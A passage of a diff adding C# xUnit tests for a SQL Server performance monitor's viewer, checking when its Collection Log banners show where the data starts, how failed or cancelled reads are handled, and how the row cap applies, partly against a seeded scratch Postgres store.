+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Runtime.ExceptionServices;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Windows;
+using System.Windows.Controls;
+using System.Windows.Threading;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The Collection Health tab's load, past its reads (#4966): which part of the tab a failing read can take down, and which parts
+/// wait for the "Showing since" probe. Each fact drives the tab's own steps (<c>ViewerServerTab.ReadOrEmptyAsync</c>, the join the
+/// load runs, and <c>ViewerServerTab.ShowCollectionHealthAsync</c>) on a thread with a dispatcher, as the tab runs them, with real
+/// controls for the note and a probe the test holds open. A regression that makes the note wait for the probe fails these on
+/// <c>IsCompleted</c> and never hangs them.
+/// </summary>
+/* The banner's time text reads the process-wide display mode, which the facts set (restored in Dispose); the shared collection
+   serializes it with every other class that flips the viewer's time statics. */
+[Collection("viewer-time-statics")]
+public sealed class ViewerCollectionHealthLoadTests : IDisposable
+{
+    private static readonly DateTime RangeStart = new(2026, 9, 1, 0, 0, 0, DateTimeKind.Utc);
+
+    /* A store nothing listens on: a read against it fails at once, which is the failure a timed-out read stands in for. */
+    private const string UnreachableStore = "Host=127.0.0.1;Port=1;Username=nobody;Database=nothing;Timeout=3;Pooling=false";
+
+    private readonly TimeDisplayMode _savedMode = ViewerTimeHelper.CurrentDisplayMode;
+
+    public void Dispose() => ViewerTimeHelper.CurrentDisplayMode = _savedMode;
+
+    /// <summary>
+    /// What the tab drew, in the order it drew it, and the note the banner ended with (null when hidden). The banner is a WPF control,
+    /// so it is made (<see cref="Start"/>) and read (<see cref="Capture"/>) on the dispatcher's thread, seeded visible with stale
+    /// text so a no-op cannot pass as a hidden banner.
+    /// </summary>
+    private sealed class Drawn
+    {
+        public List<string> Order { get; } = [];
+        public List<CollectorDurationBucket>? Chart { get; set; }
+        public TextBlock Banner { get; private set; } = null!;
+        public string? Note { get; private set; }
+
+        public void Start() => Banner = new TextBlock { Visibility = Visibility.Visible, Text = "stale" };
+
+        public void Capture() => Note = Banner.Visibility == Visibility.Visible ? Banner.Text : null;
+    }
+
+    /// <summary>The tab's step over the given results and probe, with the drawing recorded in <paramref name="drawn"/>.</summary>
+    private static Task Step(
+        Drawn drawn, List<CollectionLogRow> log, List<CollectorDurationBucket> trend, Task<DateTime?> probe, Action<string, string>? warn = null) =>
+        ViewerServerTab.ShowCollectionHealthAsync(
+            [new CollectorHealthRow { CollectorName = "wait_stats" }], log, trend, [new CollectionCaveatRow { Family = "x", Reason = "y" }],
+            probe, RangeStart, drawn.Banner,
+            _ => drawn.Order.Add("health"), _ => drawn.Order.Add("log"), t => { drawn.Order.Add("chart"); drawn.Chart = t; }, _ => drawn.Order.Add("caveats"),
+            warn);
+
+    private static List<CollectionLogRow> Runs(int count, DateTime first) =>
+        Enumerable.Range(0, count).Select(i => new CollectionLogRow { CollectorName = "wait_stats", CollectionTime = first.AddMinutes(10 * i), Status = "SUCCESS" }).ToList();
+
+    private static readonly string[] AllFour = ["health", "log", "chart", "caveats"];
+
+    /// <summary>Runs <paramref name="body"/> on the shared STA thread, whose dispatcher resumes its awaits as the tab's own load does (#5602), with the viewer's display mode set to UTC.</summary>
+    private static void OnTabDispatcher(Func<Task> body) =>
+        StaTestThread.Run(async () =>
+        {
+            ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
+            await body();
+        });
+
+    /* The chart's read fails (here a real read against a store nothing listens on): the wrapper answers an empty list and logs it, the
+       join the load runs does not throw, and the grids, the caveats and the note all draw, with the chart drawn empty. The coverage
+       starts two days into the range and the runs begin after it, so the note names the coverage. */
+    [Fact]
+    public async Task AChartReadThatFails_BlanksOnlyTheChart_TheGridsTheNoteAndTheCaveatsStillDraw()
+    {
+        await using var viewer = new ViewerDataService(UnreachableStore);
+        var warned = new List<string>();
+
+        var trendTask = ViewerServerTab.ReadOrEmptyAsync(
+            () => viewer.GetCollectorDurationTrendAsync(1, RangeStart, RangeStart.AddDays(7)), "Test chart", (_, message) => warned.Add(message));
+        var logTask = Task.FromResult(Runs(3, RangeStart.AddDays(3)));
+        await Task.WhenAll(logTask, trendTask);
+
+        var drawn = new Drawn();
+        OnTabDispatcher(async () =>
+        {
+            drawn.Start();
+            await Step(drawn, logTask.Result, trendTask.Result, Task.FromResult<DateTime?>(RangeStart.AddDays(2)));
+            drawn.Capture();
+        });
+
+        Assert.Equal(AllFour, drawn.Order);
+        Assert.NotNull(drawn.Chart);
+        Assert.Empty(drawn.Chart!);
+        Assert.Single(warned);
+        Assert.Contains("Test chart", warned[0], StringComparison.Ordinal);
+        Assert.Equal(DataStartBannerReadout.Since(RangeStart.AddDays(2)), drawn.Note);
+    }
+
+    /* A cancelled chart read is not a failure to hide: it still throws. */
+    [Fact]
+    public async Task ACancelledChartRead_StillThrows()
+    {
+        await Assert.ThrowsAsync<OperationCanceledException>(() =>
+            ViewerServerTab.ReadOrEmptyAsync<CollectorDurationBucket>(() => throw new OperationCanceledException(), "Test chart"));
+    }
+
+    /* A page under the cap needs the probe for its note, so the note waits; the chart and the caveats do not wait with it. */
+    [Fact]
+    public void TheChartAndTheCaveats_DrawBeforeTheNoteAwaitsItsProbe()
+    {
+        var probe = new TaskCompletionSource<DateTime?>();
+        var drawn = new Drawn();
+
+        OnTabDispatcher(async () =>
+        {
+            drawn.Start();
+            var step = Step(drawn, Runs(3, RangeStart.AddDays(3)), [], probe.Task);
+
+            Assert.Equal(AllFour, drawn.Order);
+            Assert.False(step.IsCompleted, "a page under the cap names its note from the probe, so the note waits for it");
+            Assert.Equal("stale", drawn.Banner.Text);
+
+            probe.SetResult(RangeStart.AddDays(2));
+            await step;
+            drawn.Capture();
+        });
+
+        Assert.Equal(DataStartBannerReadout.Since(RangeStart.AddDays(2)), drawn.Note);
+    }
+
+    /* A full page names its oldest run whatever the probe answers: the probe here never completes, and the step still finishes, the
+       chart and the caveats are drawn, and the note names the oldest run. */
+    [Fact]
+    public void AFullPage_NamesItsOldestRun_WithoutWaitingForAProbeThatNeverAnswers()
+    {
+        var oldest = RangeStart.AddDays(2);
+        var probe = new TaskCompletionSource<DateTime?>();
+        var drawn = new Drawn();
+
+        OnTabDispatcher(async () =>
+        {
+            drawn.Start();
+            var step = Step(drawn, Runs(ViewerDataService.CollectionLogRowCap, oldest), [], probe.Task);
+
+            Assert.True(step.IsCompleted, "a full page waits for no probe");
+            await step;
+            drawn.Capture();
+        });
+
+        Assert.Equal(AllFour, drawn.Order);
+        Assert.Equal(DataStartBannerReadout.Since(oldest), drawn.Note);
+    }
+
+    /* The probe a full page no longer waits for is still watched: when it fails, the failure is logged as any probe's is. */
+    [Fact]
+    public void AFullPage_StillLogsAProbeThatFailsLater()
+    {
+        var probe = new TaskCompletionSource<DateTime?>();
+        var warned = new List<string>();
+
+        OnTabDispatcher(async () =>
+        {
+            var drawn = new Drawn();
+            drawn.Start();
+            var step = Step(drawn, Runs(ViewerDataService.CollectionLogRowCap, RangeStart.AddDays(2)), [], probe.Task, (_, message) => warned.Add(message));
+            Assert.True(step.IsCompleted);
+            await step;
+
+            probe.SetException(new InvalidOperationException("the probe failed"));
+            await Task.Yield();
+        });
+
+        Assert.Single(warned);
+        Assert.Contains("the probe failed", warned[0], StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerCollectionLogDataStartLiveTests.cs b/Darling/Darling.Tests/ViewerCollectionLogDataStartLiveTests.cs
new file mode 100644
index 0000000000..4d1cd9958b
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerCollectionLogDataStartLiveTests.cs
@@ -0,0 +1,378 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Windows;
+using System.Windows.Controls;
+using System.Windows.Threading;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: the fixture reaches DARLING_TEST_PG only to CREATE and DROP its own database through ScratchPostgres, seeds it
+   once, and every fact then reads inside it and never writes. */
+/// <summary>
+/// The store behind <see cref="ViewerCollectionLogDataStartLiveTests"/>: one server per scenario, each holding the collection log
+/// runs its Collection Log grid or drill shows. Every time below is measured back from <see cref="End"/>, the minute the store was
+/// seeded at, in naive UTC.
+/// </summary>
+public sealed class CollectionLogDataStartStore : IAsyncLifetime
+{
+    public const string WaitStats = "wait_stats";
+    public const string CpuUtilization = "cpu_utilization";
+
+    /// <summary>Added two days before <see cref="End"/>: its first collection falls inside a week's range.</summary>
+    public const int NewServerId = -496801;
+
+    /// <summary>Monitored for months, so the log covers a week's range; its collector ran for the last three days only.</summary>
+    public const int QuietServerId = -496802;
+
+    /// <summary>Monitored for months; a run every 5 minutes for the last 20 minutes.</summary>
+    public const int ShortServerId = -496803;
+
+    /// <summary>Monitored for months; exactly <see cref="ViewerDataService.CollectionLogRowCap"/> runs, 10 minutes apart.</summary>
+    public const int FullPageServerId = -496804;
+
+    /// <summary>Monitored for months; one run fewer than the cap.</summary>
+    public const int UnderCapServerId = -496805;
+
+    /// <summary>Monitored for months; 100 runs more than the cap.</summary>
+    public const int OverCapServerId = -496806;
+
+    /// <summary>Monitored for months; one collector ran for 30 days, another (the one drilled) for the last three.</summary>
+    public const int DrillQuietServerId = -496807;
+
+    /// <summary>Added two days before <see cref="End"/>; one collector from the first collection, the one drilled from a day later.</summary>
+    public const int DrillNewServerId = -496808;
+
+    /// <summary>Monitored for months; the drilled collector ran 9 days, 8 days and 1 day before <see cref="End"/>.</summary>
+    public const int PinnedDrillServerId = -496809;
+
+    private ScratchPostgres? _scratch;
+    private long _nextLogId = 1;
+
+    public ViewerDataService? Viewer { get; private set; }
+
+    /// <summary>The minute the history ends at, naive UTC.</summary>
+    public DateTime End { get; private set; } = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+
+    public static string ServerName(int serverId) => $"clds-{-serverId}";
+
+    public async ValueTask InitializeAsync()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        if (string.IsNullOrEmpty(baseConnectionString))
+        {
+            return;
+        }
+
+        var now = DateTime.UtcNow;
+        End = new DateTime(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Unspecified);
+        _scratch = await ScratchPostgres.CreateAsync(baseConnectionString, CancellationToken.None);
+        await using (var connection = new NpgsqlConnection(_scratch.ConnectionString))
+        {
+            await connection.OpenAsync();
+            await PgMigrations.MigrateAsync(connection, CancellationToken.None);
+            await SeedAsync(connection);
+        }
+
+        Viewer = new ViewerDataService(_scratch.ConnectionString);
+    }
+
+    public async ValueTask DisposeAsync()
+    {
+        if (Viewer is not null)
+        {
+            await Viewer.DisposeAsync();
+        }
+
+        if (_scratch is not null)
+        {
+            await _scratch.DisposeAsync();
+        }
+    }
+
+    private async Task SeedAsync(NpgsqlConnection connection)
+    {
+        var cap = ViewerDataService.CollectionLogRowCap;
+
+        /* New: added two days ago, a run an hour since. */
+        await AddServerAsync(connection, NewServerId, End.AddDays(-2));
+        await RunsAsync(connection, NewServerId, WaitStats, End.AddDays(-2), End, 60);
+
+        /* Quiet: monitored for months, its collector's first run comes three days back (its log covers a week's range all the same). */
+        await AddServerAsync(connection, QuietServerId, End.AddDays(-120));
+        await RunsAsync(connection, QuietServerId, WaitStats, End.AddDays(-3), End, 60);
+
+        /* Short: monitored for months, and five runs in the last 20 minutes. */
+        await AddServerAsync(connection, ShortServerId, End.AddDays(-120));
+        await RunsAsync(connection, ShortServerId, WaitStats, End.AddMinutes(-20), End, 5);
+
+        /* The page: a run every 10 minutes ending at End. Exactly the cap, one under it, and 100 over it. */
+        await AddServerAsync(connection, FullPageServerId, End.AddDays(-120));
+        await RunsAsync(connection, FullPageServerId, WaitStats, End.AddMinutes(-10 * (cap - 1)), End, 10);
+
+        await AddServerAsync(connection, UnderCapServerId, End.AddDays(-120));
+        await RunsAsync(connection, UnderCapServerId, WaitStats, End.AddMinutes(-10 * (cap - 2)), End, 10);
+
+        await AddServerAsync(connection, OverCapServerId, End.AddDays(-120));
+        await RunsAsync(connection, OverCapServerId, WaitStats, End.AddMinutes(-10 * (cap + 99)), End, 10);
+
+        /* The drill. Quiet: another collector ran 30 days, the drilled one began three days back. New: the other collector's first
+           run is the server's first collection (two days back), the drilled one began a day after it. */
+        await AddServerAsync(connection, DrillQuietServerId, End.AddDays(-120));
+        await RunsAsync(connection, DrillQuietServerId, CpuUtilization, End.AddDays(-30), End, 60);
+        await RunsAsync(connection, DrillQuietServerId, WaitStats, End.AddDays(-3), End, 60);
+
+        await AddServerAsync(connection, DrillNewServerId, End.AddDays(-2));
+        await RunsAsync(connection, DrillNewServerId, CpuUtilization, End.AddDays(-2), End, 60);
+        await RunsAsync(connection, DrillNewServerId, WaitStats, End.AddDays(-1), End, 60);
+
+        /* Pinned: a run 9 days back and one 8 days back, inside the week that ended 3 days ago and outside the week that ends now. */
+        await AddServerAsync(connection, PinnedDrillServerId, End.AddDays(-120));
+        await RunsAsync(connection, PinnedDrillServerId, WaitStats, End.AddDays(-9), End.AddDays(-9), 60);
+        await RunsAsync(connection, PinnedDrillServerId, WaitStats, End.AddDays(-8), End.AddDays(-8), 60);
+        await RunsAsync(connection, PinnedDrillServerId, WaitStats, End.AddDays(-1), End.AddDays(-1), 60);
+    }
+
+    private static async Task AddServerAsync(NpgsqlConnection connection, int serverId, DateTime createdUtc)
+    {
+        await DarlingMcpTestData.RegisterServerAsync(connection, serverId, ServerName(serverId), CancellationToken.None);
+        await DarlingMcpTestData.ExecAsync(
+            connection, CancellationToken.None, "UPDATE collect.servers SET created_date = $2 WHERE server_id = $1",
+            serverId, DarlingMcpTestData.Naive(createdUtc));
+    }
+
+    /* The collector's runs from first to last, every stepMinutes, whether or not anything happened. */
+    private async Task RunsAsync(NpgsqlConnection connection, int serverId, string collector, DateTime first, DateTime last, int stepMinutes)
+    {
+        await DarlingMcpTestData.ExecAsync(
+            connection, CancellationToken.None,
+            "INSERT INTO collect.collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected) "
+            + "SELECT $5 + row_number() OVER (ORDER BY t), $1, $2, $6, t, 10 + (row_number() OVER (ORDER BY t) % 50), 'SUCCESS', 0 "
+            + $"FROM generate_series($3::timestamp, $4::timestamp, interval '{stepMinutes} minutes') AS t",
+            serverId, ServerName(serverId), DarlingMcpTestData.Naive(first), DarlingMcpTestData.Naive(last), _nextLogId, collector);
+        _nextLogId += 100_000;
+    }
+}
+
+/// <summary>
+/// The Collection Log surfaces say where their data starts (#4966), over a store: the Collection Health tab's grid and the
+/// per-collector drill. Each fact runs the surface's own steps against the seeded store: the coverage probe and the read it starts
+/// beside (the tab's banner step, <c>ViewerServerTab.ShowCollectionLogDataStartAsync</c>, or the drill's one call,
+/// <c>CollectionLogWindow.ReadDrillAsync</c>), and reads the note off a real banner control. The coverage rule: the later of the
+/// server's first collection and the log's retention edge, never a collector's first run. A full page of the cap names its oldest
+/// run whatever the store covers. A range of 90 minutes or less makes no probe call.
+/// </summary>
+/* The banner's time text reads the process-wide display mode, which the culture pin sets (restored in Dispose); the shared
+   collection serializes it with every other class that flips the viewer's time statics. */
+[Collection("viewer-time-statics")]
+public sealed class ViewerCollectionLogDataStartLiveTests : IClassFixture<CollectionLogDataStartStore>, IDisposable
+{
+    private readonly CollectionLogDataStartStore _store;
+    private readonly TimeDisplayMode _savedMode = ViewerTimeHelper.CurrentDisplayMode;
+
+    public ViewerCollectionLogDataStartLiveTests(CollectionLogDataStartStore store) => _store = store;
+
+    public void Dispose() => ViewerTimeHelper.CurrentDisplayMode = _savedMode;
+
+    private DateTime End => _store.End;
+
+    /* The tab's default range: a week ending at the store's last minute. */
+    private DateTime Start => End.AddDays(-7);
+
+    private static string Since(DateTime utc) => DataStartBannerReadout.Since(utc);
+
+    private void RequireStore() =>
+        Assert.SkipWhen(_store.Viewer is null, "Set DARLING_TEST_PG to a Postgres connection string to run the live Collection Log data-start tests.");
+
+    /// <summary>The probe's answer, the runs the grid shows and the banner text (null when hidden) for the tab's range.</summary>
+    private sealed record TabAnswer(DateTime? Coverage, int Rows, string? Banner);
+
+    /// <summary>The drill's runs and its banner text (null when hidden).</summary>
+    private sealed record DrillAnswer(List<CollectionLogRow> Rows, string? Banner);
+
+    /// <summary>
+    /// What the tab does for the range: the coverage probe starts beside the capped read, and the banner step takes both. The probe
+    /// completes before the step runs, so the banner (a WPF control, owned by one thread) is touched on one thread only.
+    /// </summary>
+    private async Task<TabAnswer> TabAsync(int serverId, DateTime startUtc, DateTime endUtc)
+    {
+        RequireStore();
+
+        var ct = TestContext.Current.CancellationToken;
+        var viewer = _store.Viewer!;
+        var probe = viewer.GetCollectionLogDataStartAsync(serverId, startUtc, endUtc, ct);
+        var rows = await viewer.GetRecentCollectionLogAsync(serverId, startUtc, endUtc, cancellationToken: ct);
+        await probe.WaitAsync(ct);
+
+        string? text = null;
+        StaTestThread.Run(() =>
+        {
+            ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
+            /* Seeded visible, so a no-op cannot pass as a hidden banner. */
+            var banner = new TextBlock { Visibility = Visibility.Visible, Text = "stale" };
+
+            ViewerServerTab.ShowCollectionLogDataStartAsync(banner, probe, startUtc, rows).GetAwaiter().GetResult();
+
+            text = banner.Visibility == Visibility.Visible ? banner.Text : null;
+        });
+        return new TabAnswer(probe.Result, rows.Count, text);
+    }
+
+    /// <summary>
+    /// The drill's one call (<c>CollectionLogWindow.ReadDrillAsync</c>) on a thread with a dispatcher, as the window calls it from its
+    /// Loaded handler: its awaits resume on the thread that owns the banner.
+    /// </summary>
+    private DrillAnswer Drill(int serverId, string collector, DateTime? asOfUtc)
+    {
+        RequireStore();
+
+        var viewer = _store.Viewer!;
+        DrillAnswer? answer = null;
+        StaTestThread.Run(async () =>
+        {
+            ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
+            var banner = new TextBlock { Visibility = Visibility.Visible, Text = "stale" };
+            var rows = await CollectionLogWindow.ReadDrillAsync(viewer, serverId, collector, banner, asOfUtc);
+            answer = new DrillAnswer(rows, banner.Visibility == Visibility.Visible ? banner.Text : null);
+        });
+
+        return answer!;
+    }
+
+    // ── The tab's grid ──
+
+    /* The server was added two days into the range, so its log starts there: the note names that first collection. */
+    [Fact]
+    public async Task ARangeThatStartsBeforeTheFirstCollection_NamesTheFirstCollection()
+    {
+        var tab = await TabAsync(CollectionLogDataStartStore.NewServerId, Start, End);
+
+        Assert.Equal(End.AddDays(-2), tab.Coverage);
+        Assert.Equal(49, tab.Rows);
+        Assert.Equal(Since(End.AddDays(-2)), tab.Banner);
+    }
+
+    /* The server has been monitored for months and its collector began three days back: the log covers the whole range, and a run
+       that comes late in it is a quiet start, not a cut. No note. */
+    [Fact]
+    public async Task AQuietStart_GivesNoNote()
+    {
+        var tab = await TabAsync(CollectionLogDataStartStore.QuietServerId, Start, End);
+
+        Assert.NotNull(tab.Coverage);
+        Assert.True(tab.Coverage < Start, "the log's coverage starts before the range");
+        Assert.Equal(73, tab.Rows);
+        Assert.Null(tab.Banner);
+    }
+
+    /* A one-hour range asks the probe nothing (90 minutes or less: it answers null without a query), and five runs are a page
+       under the cap: no note. The same server over six hours does get an answer from the probe, so the null above is the rule and
+       not an empty store. */
+    [Fact]
+    public async Task AOneHourRange_MakesNoProbeCall_AndAPageUnderTheCapShowsNoNote()
+    {
+        var hour = await TabAsync(CollectionLogDataStartStore.ShortServerId, End.AddHours(-1), End);
+
+        Assert.Null(hour.Coverage);
+        Assert.Equal(5, hour.Rows);
+        Assert.Null(hour.Banner);
+
+        var sixHours = await TabAsync(CollectionLogDataStartStore.ShortServerId, End.AddHours(-6), End);
+
+        Assert.NotNull(sixHours.Coverage);
+        Assert.Equal(5, sixHours.Rows);
+        Assert.Null(sixHours.Banner);
+    }
+
+    /* Exactly the cap's worth of runs, 10 minutes apart, ending at End: the read returns a full page, which may have left older runs
+       out, so the note names its oldest run although the store covers the range (monitored for months). */
+    [Fact]
+    public async Task AFullPageOfTheCap_NamesItsOldestRun_EvenWhereTheStoreCoversTheRange()
+    {
+        var cap = ViewerDataService.CollectionLogRowCap;
+        var tab = await TabAsync(CollectionLogDataStartStore.FullPageServerId, Start, End);
+
+        Assert.True(tab.Coverage < Start, "the log's coverage starts before the range");
+        Assert.Equal(cap, tab.Rows);
+        Assert.Equal(Since(End.AddMinutes(-10 * (cap - 1))), tab.Banner);
+    }
+
+    /* One run fewer than the cap is not a full page: the coverage rule applies, the store covers the range, and there is no note. */
+    [Fact]
+    public async Task APageOneRunUnderTheCap_KeepsTheCoverageRule()
+    {
+        var tab = await TabAsync(CollectionLogDataStartStore.UnderCapServerId, Start, End);
+
+        Assert.True(tab.Coverage < Start, "the log's coverage starts before the range");
+        Assert.Equal(ViewerDataService.CollectionLogRowCap - 1, tab.Rows);
+        Assert.Null(tab.Banner);
+    }
+
+    /* 100 runs more than the cap are stored; the read keeps the newest page, and the note names the oldest run it RETURNED, not the
+       oldest the store holds. */
+    [Fact]
+    public async Task AFullPageWithOlderRunsBehindIt_NamesTheOldestReturnedRun()
+    {
+        var cap = ViewerDataService.CollectionLogRowCap;
+        var tab = await TabAsync(CollectionLogDataStartStore.OverCapServerId, Start, End);
+
+        Assert.Equal(cap, tab.Rows);
+        Assert.Equal(Since(End.AddMinutes(-10 * (cap - 1))), tab.Banner);
+    }
+
+    // ── The drill ──
+
+    /* The drilled collector began three days back on a server monitored for months: the week is covered, and a collector that
+       ran late in it says nothing. */
+    [Fact]
+    public void ACollectorThatStartedLateInACoveredWeek_SaysNothing()
+    {
+        var drill = Drill(CollectionLogDataStartStore.DrillQuietServerId, CollectionLogDataStartStore.WaitStats, asOfUtc: null);
+
+        Assert.Equal(73, drill.Rows.Count);
+        Assert.Null(drill.Banner);
+    }
+
+    /* The server was added two days back, its first collection (another collector's first run) with it; the drilled collector began
+       a day after. The note names the server's first collection, never the drilled collector's first run, for either collector. */
+    [Fact]
+    public void AServerWhoseFirstCollectionFallsInsideTheWeek_NamesIt_NotTheDrilledCollectorsFirstRun()
+    {
+        var late = Drill(CollectionLogDataStartStore.DrillNewServerId, CollectionLogDataStartStore.WaitStats, asOfUtc: null);
+        var first = Drill(CollectionLogDataStartStore.DrillNewServerId, CollectionLogDataStartStore.CpuUtilization, asOfUtc: null);
+
+        Assert.Equal(25, late.Rows.Count);
+        Assert.Equal(End.AddDays(-1), late.Rows.Min(r => r.CollectionTime));
+        Assert.Equal(Since(End.AddDays(-2)), late.Banner);
+
+        Assert.Equal(49, first.Rows.Count);
+        Assert.Equal(Since(End.AddDays(-2)), first.Banner);
+    }
+
+    /* The drill's end is pinned three days back, so its week runs from ten days back to three. A run 9 days back and one 8 days back
+       are inside that week and outside the week that ends now: the read takes the probe's window, so both are in the rows. The run a
+       day back is after the week's end, so the read leaves it out (#4966: a read with no end listed it). */
+    [Fact]
+    public void APinnedDrillWindow_ReadsTheProbesWindow_FromItsStartToItsEnd()
+    {
+        var drill = Drill(CollectionLogDataStartStore.PinnedDrillServerId, CollectionLogDataStartStore.WaitStats, asOfUtc: End.AddDays(-3));
+
+        Assert.Equal(new[] { End.AddDays(-8), End.AddDays(-9) }, drill.Rows.Select(r => r.CollectionTime).ToArray());
+        Assert.Null(drill.Banner);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerCollectionLogDataStartTests.cs b/Darling/Darling.Tests/ViewerCollectionLogDataStartTests.cs
new file mode 100644
index 0000000000..137b4858fd
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerCollectionLogDataStartTests.cs
@@ -0,0 +1,365 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+using static Darling.Tests.RepoFile;
+using PerformanceMonitor.Darling.Storage;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The desktop viewer's two Collection Log surfaces say where their data starts (#4966): the Collection Health tab's grid (the
+/// toolbar's range, a read that keeps the newest <see cref="ViewerDataService.CollectionLogRowCap"/> runs) and the per-collector
+/// drill window (the trailing week, a read with no cap). Both key on the log's COVERAGE: the later of the server's first collection
+/// and the log's retention edge, never a collector's first run, so a collector that ran late in a covered week says nothing and a
+/// quiet start (the log covered the range, the first run came late) says nothing. A read that returned its full cap names its oldest
+/// returned run, with no slack. A range of 90 minutes or less makes no probe call. These are the pins that need no store; the
+/// store-backed cases are <see cref="ViewerCollectionLogDataStartLiveTests"/>.
+/// </summary>
+/* The banner's time text reads the process-wide display mode and server clock, which the helper sets and restores; one shared
+   collection serializes it with every other class that flips the viewer's time statics. */
+[Collection("viewer-time-statics")]
+public sealed class ViewerCollectionLogDataStartTests
+{
+    private static readonly DateTime RangeStart = new(2026, 9, 1, 0, 0, 0, DateTimeKind.Utc);
+
+    /* A store nothing listens on: a probe that starts a query against it fails, one that does not returns at once. */
+    private const string UnreachableStore = "Host=127.0.0.1;Port=1;Username=nobody;Database=nothing;Timeout=3;Pooling=false";
+
+    private static string ViewerFile(string file) => ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", file);
+
+    private static int Matches(string source, string pattern) => Regex.Matches(source, pattern).Count;
+
+    /* From the signature line to the first closing brace at that line's own indent: members sit at four spaces in a file-scoped
+       namespace and at eight in a block-scoped one, and this finds the end of either. */
+    private static string MethodBody(string source, string signaturePattern)
+    {
+        var signature = Regex.Match(source, @"(?m)^(?<indent>[ ]*)[^\r\n]*" + signaturePattern);
+        Assert.True(signature.Success, $"{signaturePattern} was not found");
+
+        var indent = signature.Groups["indent"].Value;
+        var rest = source[signature.Index..];
+        var close = Regex.Match(rest, @"\r?\n" + indent + @"\}\r?\n");
+        Assert.True(close.Success, $"the end of {signaturePattern} was not found");
+        return rest[..(close.Index + close.Length)];
+    }
+
+    /* An expression-bodied member: from the signature to the semicolon that ends it. */
+    private static string Expression(string source, string signaturePattern)
+    {
+        var signature = Regex.Match(source, signaturePattern);
+        Assert.True(signature.Success, $"{signaturePattern} was not found");
+        var rest = source[signature.Index..];
+        var end = rest.IndexOf(";\r\n", StringComparison.Ordinal);
+        if (end < 0)
+        {
+            end = rest.IndexOf(";\n", StringComparison.Ordinal);
+        }
+
+        Assert.True(end >= 0, $"the end of {signaturePattern} was not found");
+        return rest[..(end + 1)];
+    }
+
+    /* The source without its comments: a census of call sites must not count a cref or a sentence that names the method. */
+    private static string CodeOnly(string source) =>
+        Regex.Replace(Regex.Replace(source, @"/\*.*?\*/", string.Empty, RegexOptions.Singleline), @"//[^\r\n]*", string.Empty);
+
+    private static string AllViewerCode(string filePattern) =>
+        CodeOnly(string.Join("\n", Directory.GetFiles(PathTo("Darling", "PerformanceMonitor.Darling.Viewer"), filePattern).Select(File.ReadAllText)));
+
+    private static DateTime At(int days, int hours = 0) => RangeStart.AddDays(days).AddHours(hours);
+
+    private static string TabFile() => ViewerFile("ViewerServerTab.CollectionHealth.cs");
+
+    private static string DataServiceFile() => ViewerFile("ViewerDataService.CollectionHealth.cs");
+
+    private static string DrillFile() => ViewerFile("CollectionLogWindow.xaml.cs");
+
+    // ── The cap: one number for the read's LIMIT and the tab's banner ──
+
+    [Fact]
+    public void TheCap_IsTheReadsLimitDefault()
+    {
+        /* The read's default is the constant (a literal beside it would let the two drift), and the SQL binds the parameter as its LIMIT. */
+        var read = typeof(ViewerDataService).GetMethod(nameof(ViewerDataService.GetRecentCollectionLogAsync))!;
+        var maxRows = read.GetParameters().Single(p => p.Name == "maxRows");
+        Assert.Equal(ViewerDataService.CollectionLogRowCap, maxRows.DefaultValue);
+
+        var source = DataServiceFile();
+        Assert.Matches(@"int maxRows = CollectionLogRowCap,", source);
+        Assert.Contains("LIMIT $4", ViewerDataService.RecentCollectionLogSql, StringComparison.Ordinal);
+
+        var body = MethodBody(source, @"public async Task<List<CollectionLogRow>> GetRecentCollectionLogAsync\(");
+        Assert.Equal(1, Matches(body, @"new NpgsqlParameter<int> \{ TypedValue = maxRows \}"));
+    }
+
+    [Fact]
+    public void TheTabsBannerStep_NamesTheSameCap_ToTheBanner_FromTheRunTimes()
+    {
+        var step = MethodBody(TabFile(), @"internal static Task ShowCollectionLogDataStartAsync\(");
+
+        Assert.Matches(@"var shownTimes = shown\.Select\(r => \(DateTime\?\)r\.CollectionTime\)\.ToList\(\);", step);
+        Assert.Matches(
+            @"ShowEventDataStartAsync\(banner,\s*probe,\s*""Collection Log"",\s*startUtc,\s*shownTimes,\s*ViewerDataService\.CollectionLogRowCap\);",
+            step);
+
+        /* A full page is decided by the shared cap rule, and the probe it no longer waits for is still watched. */
+        Assert.Matches(@"ViewerEventDataStart\.ReadHitCap\(shownTimes\.Count,\s*ViewerDataService\.CollectionLogRowCap\)", step);
+        Assert.Matches(@"_ = DataStartAnswerAsync\(probe,\s*""Collection Log"",\s*warn\);", step);
+    }
+
+    [Fact]
